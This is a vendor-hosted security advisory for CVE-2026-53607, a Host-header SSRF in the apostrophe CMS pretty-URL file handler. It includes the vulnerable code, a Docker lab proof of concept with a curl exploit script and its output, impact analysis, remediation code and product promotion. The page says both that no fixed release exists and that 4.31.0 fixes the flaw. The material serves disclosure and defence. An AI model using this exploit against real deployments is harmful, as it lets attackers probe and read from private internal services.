CVE-2026-53607

CVE-2026-53607 is a low-severity server-side request forgery (SSRF) vulnerability in apostrophe (npm), affecting versions <= 4.30.0. It is fixed in 4.31.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header

When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw Host HTTP request header:

proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`

That URL is then fetch'ed and the response body + headers are streamed
straight back to the requester. Because Host is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on [email protected]
(latest); no fixed release exists.

  • Affected: apostrophe <= 4.30.0 when @apostrophecms/file is
    configured with prettyUrls: true and uploadfs is local (the default;
    S3/CDN deployments produce an absolute uglyUrl and are not affected).

Details

modules/@apostrophecms/file/index.js (excerpt; the public GET route
registered when prettyUrls: true):

if (!self.options.prettyUrls) return;
return {
  get: {
    async [`${self.options.prettyUrlDir}/*`](req, res) {
      const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
      if (!matches) return res.status(400).send('invalid');
      const [ , slug ] = matches;
      if (slug.includes('..') || slug.includes('/')) {
        return res.status(403).send('forbidden');
      }
      const file = await self.find(req, {
        slug: `${self.options.slugPrefix}${slug}`
      }).toObject();
      if (!file) return res.status(404).send('not found');

      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
      const proxyUrl = uglyUrl.startsWith('/')
        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink
        : uglyUrl;
      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
    }
  }
};

lib/stream-proxy.js (excerpt):

module.exports = async function(req, url, { error }) {
  const res = req.res;
  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
  let response;
  try { response = await fetch(url); }       // <-- attacker-steered fetch
  catch (e) { return send502(e); }
  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
    const v = response.headers.get(header);
    if (v != null) res.header(header, v);
  }
  res.status(response.status);
  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};

req.get('host') returns the unvalidated Host HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed proxyUrl against an allowlist. The upstream's body and
content-type are forwarded verbatim, so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).

Prerequisites are minimal: prettyUrls: true (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).

Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6
("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
@apostrophecms/file, via the Host header.

PoC

Three services on an isolated Docker network: mongo, internal (returns a
fake secret, never exposed to the host), apos:3000 (the only port the
host can reach). The host attacker proves it cannot reach internal
directly, then exfiltrates internal's response via one crafted request to
apos.

app.js (normal apostrophe site, documented option only):

require('apostrophe')({
  shortName: 'apos-ssrf-poc',
  autoBuild: false,
  modules: {
    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)
  }
});

docker-compose.yml:

services:
  mongo: { image: mongo:7, networks: [poc] }
  internal:
    image: python:3.12-slim
    command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
    networks: [poc]
  apos:
    build: .
    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
    depends_on: [mongo, internal]
    ports: ["3000:3000"]
    networks: [poc]
networks: { poc: { driver: bridge } }

exploit.sh (unauthenticated attacker on the host):

# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"

# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"

Build & run:

docker compose build && docker compose up -d && ./exploit.sh

Observed output ([email protected], clean stack):

[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL

[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2

RESULT: VULNERABLE, unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).

The internal service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body, secret included ,
straight back over the same HTTP response.

Impact

Unauthenticated remote SSRF, but the path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:

  • Cloud metadata is not reachable, AWS IMDS
    (/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure
    (/metadata/...) all live at fixed paths that don't overlap with
    /uploads/attachments/.... Same for Redis admin, Elasticsearch, and
    most internal API surfaces.
  • Cross-instance data exfiltration is also ruled out. For an
    internal target (another apos instance, MinIO bucket, etc.) to serve
    a body at this path, it would need the exact local cuid + slug, which
    realistically only happens when the target restored / shares the
    public site's data, in which case the same content is reachable via
    the front door anyway. Apostrophe also won't construct a pretty URL
    for archived / restricted media, closing the older-snapshot edge case.

What remains is blind-SSRF residual:

  • Network-topology mapping via response-code or response-time
    differences across internal hosts.
  • Banner / version disclosure from verbose reverse-proxy or WAF 404
    bodies.
  • Bypassing network egress controls, outbound requests originate from
    the apostrophe server rather than the attacker.

The attack requires only the public pretty-URL endpoint and one
publicly-known file slug, both trivially available in normal CMS
operation.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-53607 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.31.0); upgrading removes the vulnerable code path.

Affected versions

apostrophe (<= 4.30.0)

Security releases

apostrophe → 4.31.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Stop deriving the upstream URL from the request Host header. Two
complementary changes:

  1. In modules/@apostrophecms/file/index.js (the lines that build
    proxyUrl), use a server-trusted absolute base URL (e.g., apos.baseUrl
    or the configured site URL) instead of req.get('host'):

    const proxyUrl = uglyUrl.startsWith('/')
      ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`
      : uglyUrl;
    
  2. In lib/stream-proxy.js, enforce a strict origin allowlist (the
    configured apostrophe base URL + any configured CDN host) before calling
    fetch. Defence in depth: future callers of streamProxy cannot
    accidentally reintroduce the gap.

A regression test that sets Host: 169.254.169.254 (or any non-configured
host) on /files/<slug>.<ext> and asserts the upstream fetch is not
issued / the response is a 4xx would lock this down.

Frequently Asked Questions

  1. What is CVE-2026-53607? CVE-2026-53607 is a low-severity server-side request forgery (SSRF) vulnerability in apostrophe (npm), affecting versions <= 4.30.0. It is fixed in 4.31.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-53607? CVE-2026-53607 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of apostrophe are affected by CVE-2026-53607? apostrophe (npm) versions <= 4.30.0 is affected.
  4. Is there a fix for CVE-2026-53607? Yes. CVE-2026-53607 is fixed in 4.31.0. Upgrade to this version or later.
  5. Is CVE-2026-53607 exploitable, and should I be worried? Whether CVE-2026-53607 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-53607 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-53607? Upgrade apostrophe to 4.31.0 or later.

Other vulnerabilities in apostrophe

Stop the waste.
Protect your environment with Kodem.